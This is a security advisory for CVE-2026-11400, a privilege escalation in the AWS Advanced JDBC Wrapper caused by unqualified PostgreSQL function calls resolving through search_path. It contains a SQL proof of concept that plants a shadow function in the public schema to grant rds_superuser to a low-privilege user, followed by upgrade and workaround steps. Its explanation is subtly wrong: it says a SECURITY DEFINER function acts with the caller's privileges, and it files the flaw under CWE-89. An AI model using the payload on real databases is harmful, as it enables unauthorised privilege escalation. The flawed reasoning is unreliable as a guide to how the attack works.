high · 8CVE-2026-11400Jul 17, 2026

CVE-2026-11400: aws-advanced-jdbc-wrapper Privilege Escalation via Unqualified PostgreSQL Function Calls

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privilege Aurora PostgreSQL user can create a crafted function in the public schema that gets silently executed with another RDS user's permissions, including rds_superuser, whenever that user…

Packagesoftware.amazon.jdbc:aws-advanced-jdbc-wrapper
Ecosystemmaven
Affected>= 3.0.0, < 4.0.1
Fixed in4.0.1

The problem

The GlobalDatabasePlugin, introduced in v3.0.0 of the AWS Advanced JDBC Wrapper, runs PostgreSQL topology-detection queries on every new connection. These queries call internal functions (such as aurora_global_db_instance_status) without schema-qualifying them, so PostgreSQL resolves the names against search_path rather than pg_catalog directly.

Because public appears first in the default search_path, any authenticated user who can create objects in public can plant a function with the same name. The wrapper then executes that attacker-controlled function using the connecting user's session, which may carry rds_superuser membership.

Proof of concept

A working proof-of-concept for CVE-2026-11400 in software.amazon.jdbc:aws-advanced-jdbc-wrapper, with the exact payload below.

sql
-- Run once as any low-privilege authenticated DB user.
-- The wrapper calls aurora_global_db_instance_status() unqualified on every
-- new connection, so this shadow function runs in the victim's session.
CREATE OR REPLACE FUNCTION public.aurora_global_db_instance_status()
RETURNS void
SECURITY DEFINER
LANGUAGE plpgsql
AS $$
BEGIN
  -- Execute arbitrary SQL with the connecting user's privileges.
  -- Example: grant the attacker rds_superuser.
  EXECUTE 'GRANT rds_superuser TO low_priv_user';
END;
$$;

-- Next time a privileged user (e.g. rds_superuser member) connects through
-- the wrapper, the function above runs automatically in their session.

The fix, described in the 4.0.1 CHANGELOG, fully qualifies all topology-detection function calls so they resolve to pg_catalog directly and are immune to search_path manipulation. This is a textbook CWE-89 / untrusted search path pattern: PostgreSQL resolves unqualified identifiers left-to-right through search_path, and public is writeable by all users by default.

The GlobalDatabasePlugin code path (added in 3.0.0 for Aurora Global Database failover support) was the new introduction that repeated the same class of bug patched in CVE-2025-12967 for older wrapper versions. The SECURITY DEFINER attribute on the shadow function is what makes the privilege hop concrete: it runs under the definer's rights, but any grants or mutations issued inside it affect the caller's session permanently.

The official workaround confirms the mechanism: removing public from search_path breaks the name-resolution chain and prevents the shadow function from being found.

The fix

Upgrade to aws-advanced-jdbc-wrapper 4.0.1 or later. The release schema-qualifies all internal PostgreSQL function calls, eliminating the search path dependency. As an interim workaround, remove the public schema from search_path for all RDS users: ALTER ROLE <user> SET search_path = pg_catalog, pg_temp;

Reported by ph0smet.

References: [1][2][3][4][5][6]

Related research